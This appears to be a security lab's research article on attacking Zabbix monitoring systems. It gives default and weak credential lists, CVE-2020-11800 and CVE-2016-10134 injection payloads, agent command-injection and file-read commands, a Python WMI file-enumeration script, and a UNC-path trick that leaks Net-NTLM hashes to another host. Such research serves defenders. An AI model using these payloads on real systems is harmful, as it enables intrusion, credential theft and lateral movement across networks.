作者:Wfox@360高級攻防實驗室 原文鏈接:http://noahblog.#/zabbixgong-ji-mian-wa-jue-yu-li-yong/

一、簡介

Zabbix是一個支持實時監控數千臺服務器、虛擬機和網絡設備的企業級解決方案,客戶覆蓋許多大型企業。本議題介紹了Zabbix基礎架構、Zabbix Server攻擊面以及權限后利用,如何在復雜內網環境中從Agent控制Server權限、再基于Server拿下所有內網Agent。

二、Zabbix監控組件

Zabbix監控系統由以下幾個組件部分構成:

1. Zabbix Server

Zabbix Server是所有配置、統計和操作數據的中央存儲中心,也是Zabbix監控系統的告警中心。在監控的系統中出現任何異常,將被發出通知給管理員。

Zabbix Server的功能可分解成為三個不同的組件,分別為Zabbix Server服務、Web后臺及數據庫。

2. Zabbix Proxy

Zabbix Proxy是在大規模分布式監控場景中采用一種分擔Zabbix Server壓力的分層結構,其多用在跨機房、跨網絡的環境中,Zabbix Proxy可以代替Zabbix Server收集性能和可用性數據,然后把數據匯報給Zabbix Server,并且在一定程度上分擔了Zabbix Server的壓力。

3. Zabbix Agent

Zabbix Agent部署在被監控的目標機器上,以主動監控本地資源和應用程序(硬盤、內存、處理器統計信息等)。

Zabbix Agent收集本地的狀態信息并將數據上報給Zabbix Server用于進一步處理。

三、Zabbix網絡架構

對于Zabbix Agent客戶端來說,根據請求類型可分為被動模式及主動模式:

  • 被動模式:Server向Agent的10050端口獲取監控項數據,Agent根據監控項收集本機數據并響應。
  • 主動模式:Agent主動請求Server(Proxy)的10051端口獲取監控項列表,并根據監控項收集本機數據提交給Server(Proxy)

從網絡部署架構上看,可分為Server-Client架構、Server-Proxy-Client架構、Master-Node-Client架構:

  • Server-Client架構

最為常見的Zabbix部署架構,Server與Agent同處于內網區域,Agent能夠直接與Server通訊,不受跨區域限制。 -w879

  • Server-Proxy-Client架構

多數見于大規模監控需求的企業內網,其多用在跨機房、跨網絡的環境,由于Agent無法直接與位于其他區域的Server通訊,需要由各區域Proxy代替收集Agent數據然后再上報Server。 -w1059

四、Zabbix Agent配置分析

從進程列表中可判斷當前機器是否已運行zabbix_agentd服務,Linux進程名為zabbix_agentd,Windows進程名為zabbix_agentd.exe

Zabbix Agent服務的配置文件為zabbix_agentd.conf,Linux默認路徑在/etc/zabbix/zabbix_agentd.conf,可通過以下命令查看agent配置文件并過濾掉注釋內容:

cat /etc/zabbix/zabbix_agentd.conf | grep -v '^#' | grep -v '^$'

首先從配置文件定位zabbix_agentd服務的基本信息:

  • Server參數

Server或Proxy的IP、CIDR、域名等,Agent僅接受來自Server參數的IP請求。

Server=192.168.10.100
  • ServerActive參數

Server或Proxy的IP、CIDR、域名等,用于主動模式,Agent主動向ServerActive參數的IP發送請求。

ServerActive=192.168.10.100
  • StartAgents參數

為0時禁用被動模式,不監聽10050端口。

StartAgents=0

經過對 zabbix_agentd.conf 配置文件各個參數的安全性研究,總結出以下配置不當可能導致安全風險的配置項:

  • EnableRemoteCommands參數

是否允許來自Zabbix Server的遠程命令,開啟后可通過Server下發shell腳本在Agent上執行。

風險樣例:

EnableRemoteCommands=1
  • AllowRoot參數

Linux默認以低權限用戶zabbix運行,開啟后以root權限運行zabbix_agentd服務。

風險樣例:

AllowRoot=1
  • UserParameter參數

自定義用戶參數,格式為UserParameter=<key>,<command>,Server可向Agent執行預設的自定義參數命令以獲取監控數據,以官方示例為例:

UserParameter=ping[*],echo $1

當Server向Agent執行ping[aaaa]指令時,$1為傳參的值,Agent經過拼接之后執行的命令為echo aaaa,最終執行結果為aaaa

command存在命令拼接,但由于傳參內容受UnsafeUserParameters參數限制,默認無法傳參特殊符號,所以默認配置利用場景有限。

官方漏洞案例可參考CVE-2016-4338漏洞。

  • UnsafeUserParameters參數

自定義用戶參數是否允許傳參任意字符,默認不允許字符\ ' " ` * ? [ ] { } ~ $ ! & ; ( ) < > | # @

風險樣例:

UnsafeUserParameters=1

當UnsafeUserParameters參數配置不當時,組合UserParameter自定義參數的傳參命令拼接,可導致遠程命令注入漏洞。

由Server向Agent下發指令執行自定義參數,即可在Agent上執行任意系統命令。 以 UserParameter=ping[*],echo $1 為例,向Agent執行指令ping[test && whoami],經過命令拼接后最終執行echo test && whoami,成功注入執行shell命令。

  • Include參數

加載配置文件目錄單個文件或所有文件,通常包含的conf都是配置UserParameter自定義用戶參數。

Include=/etc/zabbix/zabbix_agentd.d/*.conf

五、Zabbix Server攻擊手法

除了有利用條件的Zabbix Agent漏洞外,默認情況下Agent受限于IP白名單限制,只處理來自Server的請求,所以攻擊Zabbix Agent的首要途徑就是先拿下Zabbix Server。

經過對Zabbix Server攻擊面進行梳理,總結出部分攻擊效果較好的漏洞:

1. Zabbix Web后臺弱口令

Zabbix安裝后自帶Admin管理員用戶和Guests訪客用戶(低版本),可登陸Zabbiax后臺。

超級管理員默認賬號:Admin,密碼:zabbix Guests用戶,賬號:guest,密碼為空

2. MySQL弱口令

從用戶習慣來看,運維在配置Zabbix時喜歡用弱口令作為MySQL密碼,且搜索引擎的Zabbix配置教程基本用的都是弱口令,這導致實際環境中Zabbix Server的數據庫密碼通常為弱口令。

除了默認root用戶無法外連之外,運維通常會新建MySQL用戶 zabbix,根據用戶習慣梳理了zabbix用戶的常見密碼:

123456
zabbix
zabbix123
zabbix1234
zabbix12345
zabbix123456

123456

拿下MySQL數據庫后,可解密users表的密碼md5值,或者直接替換密碼的md5為已知密碼,即可登錄Zabbix Web。

3. CVE-2020-11800 命令注入

Zabbix Server的trapper功能中active checks命令存在CVE-2020-11800命令注入漏洞,該漏洞為基于CVE-2017-2824的繞過利用。 未授權攻擊者向Zabbix Server的10051端口發送trapper功能相關命令,利用漏洞即可在Zabbix Server上執行系統命令。

active checks是Agent主動檢查時用于獲取監控項列表的命令,Zabbix Server在開啟自動注冊的情況下,通過active checks命令請求獲取一個不存在的host時,自動注冊機制會將json請求中的host、ip添加到interface數據表里,其中CVE-2020-11800漏洞通過ipv6格式繞過ip字段檢測注入執行shell命令,受數據表字段限制Payload長度只能為64個字符

{"request":"active checks","host":"vulhub","ip":"ffff:::;whoami"}

自動注冊調用鏈:

active checks -> send_list_of_active_checks_json() -> get_hostid_by_host() -> DBregister_host()

command指令可以在未授權的情況下可指定主機(hostid)執行指定腳本(scriptid),Zabbix存在3個默認腳本,腳本中的{HOST.CONN}在腳本調用的時候會被替換成主機IP。

# scriptid == 1 == /bin/ping -c {HOST.CONN} 2>&1
# scriptid == 2 == /usr/bin/traceroute {HOST.CONN} 2>&1
# scriptid == 3 == sudo /usr/bin/nmap -O {HOST.CONN} 2>&1

scriptid指定其中任意一個,hostid為注入惡意Payload后的主機id,但自動注冊后的hostid是未知的,所以通過command指令遍歷hostid的方式都執行一遍,最后成功觸發命令注入漏洞。

{"request":"command","scriptid":1,"hostid":10001}

由于默認腳本的類型限制,腳本都是在Zabbix Server上運行,Zabbix Proxy是無法使用command指令的。payload長度受限制可拆分多次執行,必須更換host名稱以執行新的payload。

漏洞靶場及利用腳本:Zabbix Server trapper命令注入漏洞(CVE-2020-11800)

-w956

4. CVE-2017-2824 命令注入

上面小結已詳細講解,CVE-2017-2824與CVE-2020-11800漏洞點及利用區別不大,不再復述,可參考鏈接:https://talosintelligence.com/vulnerability_reports/TALOS-2017-0325

漏洞靶場及利用腳本:Zabbix Server trapper命令注入漏洞(CVE-2017-2824)

5. CVE-2016-10134 SQL注入

CVE-2016-10134 SQL注入漏洞已知有兩個注入點:

  • latest.php,需登錄,可使用未關閉的Guest訪客賬號。
/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(0,concat(0xa,user()),0)

-w1192

  • jsrpc.php,無需登錄即可利用。

利用腳本:https://github.com/RicterZ/zabbixPwn -w676

漏洞靶場及利用腳本:zabbix latest.php SQL注入漏洞(CVE-2016-10134)

六、Zabbix Server權限后利用

拿下Zabbix Server權限只是階段性的成功,接下來的問題是如何控制Zabbix Agent以達到最終攻擊目的。

Zabbix Agent的10050端口僅處理來自Zabbix Server或Proxy的請求,所以后續攻擊都是依賴于Zabbix Server權限進行擴展,本章節主要講解基于監控項item功能的后利用。

在zabbix中,我們要監控的某一個指標,被稱為“監控項”,就像我們的磁盤使用率,在zabbix中就可以被認為是一個“監控項”(item),如果要獲取到“監控項”的相關信息,我們則要執行一個命令,但是我們不能直接調用命令,而是通過一個“別名”去調用命令,這個“命令別名”在zabbix中被稱為“鍵”(key),所以在zabbix中,如果我們想要獲取到一個“監控項”的值,則需要有對應的“鍵”,通過“鍵”能夠調用相應的命令,獲取到對應的監控信息。

以Zabbix 4.0版本為例,按照個人理解 item監控項可分為通用監控項、主動檢查監控項、Windows監控項、自定義用戶參數(UserParameter)監控項,Agent監控項較多不一一例舉,可參考以下鏈接: 1. Zabbix Agent監控項 2. Zabbix Agent Windows監控項

在控制Zabbix Server權限的情況下可通過zabbix_get命令向Agent獲取監控項數據,比如說獲取Agent的系統內核信息:

zabbix_get -s 172.21.0.4 -p 10050 -k "system.uname"

-w643

結合上述知識點,針對item監控項的攻擊面進行挖掘,總結出以下利用場景:

1. EnableRemoteCommands參數遠程命令執行

Zabbix最為經典的命令執行利用姿勢,許多人以為控制了Zabbix Server就肯定能在Agent上執行命令,其實不然,Agent遠程執行系統命令需要在zabbix_agentd.conf配置文件中開啟EnableRemoteCommands參數。

在Zabbix Web上添加腳本,“執行在”選項可根據需求選擇,“執行在Zabbix服務器” 不需要開啟EnableRemoteCommands參數,所以一般控制Zabbix Web后可通過該方式在Zabbix Server上執行命令拿到服務器權限。 -w669

如果要指定某個主機執行該腳本,可從Zabbix Web的“監測中 -> 最新數據”功能中根據過濾條件找到想要執行腳本的主機,單擊主機名即可在對應Agent上執行腳本。

這里有個常見誤區,如果類型是“執行在Zabbix服務器”,無論選擇哪臺主機執行腳本,最終都是執行在Zabbix Server上。

如果類型是“執行在Zabbix客戶端”,Agent配置文件在未開啟EnableRemoteCommands參數的情況下會返回報錯。 -w1143

Agent配置文件在開啟EnableRemoteCommands參數的情況下可成功下發執行系統命令。 -w873

如果不想在Zabbix Web上留下太多日志痕跡,或者想批量控制Agent,拿下Zabbix Server權限后可以通過zabbix_get命令向Agent執行監控項命令,在Zabbix Web執行腳本實際上等于執行system.run監控項命令

也可以基于Zabbix Server作為隧道跳板,在本地執行zabbix_get命令也能達到同樣效果(Zabbix Agent為IP白名單校驗)。

-w592

2. UserParameter自定義參數命令注入

之前介紹UserParameter參數的時候提到過,執行監控項時UserParameter參數command命令的2等會被替換成item傳參值,存在命令注入的風險,但默認受UnsafeUserParameters參數限制無法傳入特殊字符。

當Zabbiax Agent的zabbix_agentd.conf配置文件開啟UnsafeUserParameters參數的情況下,傳參值字符不受限制,只需要找到存在傳參的自定義參數UserParameter,就能達到命令注入的效果。

舉個簡單案例,在zabbix_agentd.conf文件中添加自定義參數:

UserParameter=ping[*],echo $1

默認情況下UnsafeUserParameters被禁用,傳入特殊字符將無法執行命令。 -w1190

zabbix_agentd.conf 文件中添加 UnsafeUserParameters=1,command經過傳參拼接后成功注入系統命令。

zabbix_get -s 172.19.0.5 -p 10050 -k "ping[test && id]"

-w543

UnsafeUserParameters參數配置不當問題在監控規模較大的內網里比較常見,內網滲透時可以多留意Agent配置信息。

3. 任意文件讀取

Zabbix Agent如果沒有配置不當的問題,是否有其他姿勢可以利用呢?答案是肯定的。

Zabbix原生監控項中,vfs.file.contents命令可以讀取指定文件,但無法讀取超過64KB的文件。

zabbix_get -s 172.19.0.5 -p 10050 -k "vfs.file.contents[/etc/passwd]"

-w644

zabbix_agentd服務默認以低權限用戶zabbix運行,讀取文件受zabbix用戶權限限制。開啟AllowRoot參數情況下zabbix_agentd服務會以root權限運行,利用vfs.file.contents命令就能任意文件讀取。

如果文件超過64KB無法讀取,在了解該文件字段格式的情況下可利用vfs.file.regexp命令正則獲取關鍵內容。

4. Windows目錄遍歷

Zabbix原生監控項中,wmi.get命令可以執行WMI查詢并返回第一個對象,通過WQL語句可以查詢許多機器信息,以下例舉幾種利用場景:

  • 遍歷盤符

由于wmi.get命令每次只能返回一行數據,所以需要利用WQL的條件語句排除法逐行獲取數據。

比如WQL查詢盤符時,只返回了C:

zabbix_get -s 192.168.98.2 -p 10050 -k "wmi.get[root\\cimv2,\"SELECT Name FROM Win32_LogicalDisk\"]"

通過追加條件語句排除已經查詢處理的結果,從而獲取下一行數據。

zabbix_get -s 192.168.98.2 -p 10050 -k "wmi.get[root\\cimv2,\"SELECT Name FROM Win32_LogicalDisk WHERE Name!='C:'\"]"

可通過腳本一直追加條件語句進行查詢,直至出現Cannot obtain WMI information.代表WQL已經無法查詢出結果。從圖中可以看到通過wmi.get命令查詢出了該機器上存在C:、D:盤符。

-w1143

  • 遍歷目錄

獲取C:下的目錄,采用條件語句排除法逐行獲取。

zabbix_get -s 192.168.98.2 -p 10050 -k "wmi.get[root\\cimv2,\"SELECT Caption FROM Win32_Directory WHERE Drive='C:' AND Path='\\\\' \"]"

zabbix_get -s 192.168.98.2 -p 10050 -k "wmi.get[root\\cimv2,\"SELECT Caption FROM Win32_Directory WHERE Drive='C:' AND Path='\\\\' AND Caption != 'C:\\\\\$Recycle.Bin' \"]"

zabbix_get -s 192.168.98.2 -p 10050 -k "wmi.get[root\\cimv2,\"SELECT Caption FROM Win32_Directory WHERE Drive='C:' AND Path='\\\\' AND Caption != 'C:\\\\\$Recycle.Bin' AND Caption != 'C:\\\\\$WinREAgent' \"]"

...

-w879

獲取C:下的文件,采用條件語句排除法逐行獲取。

zabbix_get -s 192.168.98.2 -p 10050 -k "wmi.get[root\\cimv2,\"SELECT Name FROM CIM_DataFile WHERE Drive='C:' AND Path='\\\\' \"]"

zabbix_get -s 192.168.98.2 -p 10050 -k "wmi.get[root\\cimv2,\"SELECT Name FROM CIM_DataFile WHERE Drive='C:' AND Path='\\\\' AND Name != 'C:\\\\\$WINRE_BACKUP_PARTITION.MARKER' \"]"

zabbix_get -s 192.168.98.2 -p 10050 -k "wmi.get[root\\cimv2,\"SELECT Name FROM CIM_DataFile WHERE Drive='C:' AND Path='\\\\' AND Name != 'C:\\\\\$WINRE_BACKUP_PARTITION.MARKER' AND Name !='C:\\\\browser.exe' \"]"

...

-w947

利用wmi.get命令進行目錄遍歷、文件遍歷,結合vfs.file.contents命令就能夠在Windows下實現任意文件讀取。

基于zabbix_get命令寫了個python腳本,實現Windows的列目錄、讀文件功能。

import os
import sys

count = 0

def zabbix_exec(ip, command):
    global count
    count = count + 1
    check = os.popen("./zabbix_get -s " + ip + " -k \"" + command + "\"").read()
    if "Cannot obtain WMI information" not in check:
        return check.strip()
    else:
        return False

def getpath(path):
    return path.replace("\\","\\\\\\\\").replace("$","\\$")

def GetDisk(ip):
    where = ""
    while(True):
        check_disk = zabbix_exec(ip, "wmi.get[root\cimv2,\\\"SELECT Name FROM Win32_LogicalDisk WHERE Name != '' " + where + "\\\"]")
        if check_disk:
            print(check_disk)
            where = where + "AND Name != '" + check_disk+ "'"
        else:
            break

def GetDirs(ip, dir):
    drive = dir[0:2]
    path = dir[2:]

    where = ""
    while(True):
        check_dir = zabbix_exec(ip, "wmi.get[root\cimv2,\\\"SELECT Caption FROM Win32_Directory WHERE Drive='" + drive + "' AND Path='" + getpath(path) + "' " + where + "\\\"]")
        if check_dir:
            print(check_dir)
            where = where + "AND Caption != '" + getpath(check_dir) + "'"
        else:
            break

def GetFiles(ip, dir):
    drive = dir[0:2]
    path = dir[2:]

    where = ""
    while(True):
        check_file = zabbix_exec(ip, "wmi.get[root\cimv2,\\\"SELECT Name FROM CIM_DataFile WHERE Drive='" + drive + "' AND Path='" + getpath(path) + "' " + where + "\\\"]")
        if check_file:
            if "Invalid item key format" in check_file:
                continue
            print(check_file)
            where = where + "AND Name != '" + getpath(check_file) + "'"
        else:
            break

def Readfile(ip, file):
    read = zabbix_exec(ip, "vfs.file.contents[" + file + "]")
    print(read)

if __name__ == "__main__":
    if len(sys.argv) == 2:
        GetDisk(sys.argv[1])
    elif sys.argv[2][-1] != "\\":
        Readfile(sys.argv[1], sys.argv[2])
    else:
        GetDirs(sys.argv[1],sys.argv[2])
        GetFiles(sys.argv[1],sys.argv[2])

    print("Request count: " + str(count))

5. Windows UNC路徑利用

在Windows Zabbix Agent環境中,可以利用vfs.file.contents命令讀取UNC路徑,竊取Zabbix Agent機器的Net-NTLM hash,從而進一步Net-NTLM relay攻擊。

Window Zabbix Agent默認安裝成Windows服務,運行在SYSTEM權限下。在工作組環境中,system用戶的Net-NTLM hash為空,所以工作組環境無法利用。

在域內環境中,SYSTEM用戶即機器用戶,如果是Net-NTLM v1的情況下,可以利用Responder工具獲取Net-NTLM v1 hash并通過算法缺陷解密拿到NTLM hash,配合資源約束委派獲取域內機器用戶權限,從而拿下Agent機器權限。

也可以配合CVE-2019-1040漏洞,relay到ldap上配置基于資源的約束委派進而拿下Agent機器權限。

zabbix_get -s 192.168.30.200 -p 10050 -k "vfs.file.contents[\\\\192.168.30.243\\cc]"

-w746

-w1917

6. Zabbix Proxy和主動檢查模式利用場景

通過zabbix_get工具執行監控項命令只適合Agent被動模式且10050端口可以通訊的場景(同時zabbix_get命令也是為了演示漏洞方便)。

如果在Zabbix Proxy場景或Agent主動檢查模式的情況下,Zabbix Server無法直接與Agent 10050端口通訊,可以使用比較通用的辦法,就是通過Zabbix Web添加監控項。

以UserParameter命令注入漏洞舉例,給指定主機添加監控項,鍵值中填入監控項命令,信息類型選擇文本: -w795

在最新數據中按照篩選條件找到指定主機,等待片刻就能看到執行結果。 -w1072

任意文件讀取漏洞也同理: -w783

-w701

通過zabbix_get工具執行結果最大可返回512KB的數據,執行結果存儲在MySQL上的限制最大為64KB。

ps: 添加的監控項會一直定時執行,所以執行完后記得刪除監控項。

七、參考鏈接

https://www.zabbix.com/documentation/4.0/zh/manual/config/items/userparameters
https://github.com/vulhub/vulhub
https://talosintelligence.com/vulnerability_reports/TALOS-2017-0325
https://www.zsythink.net/archives/551/


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1697/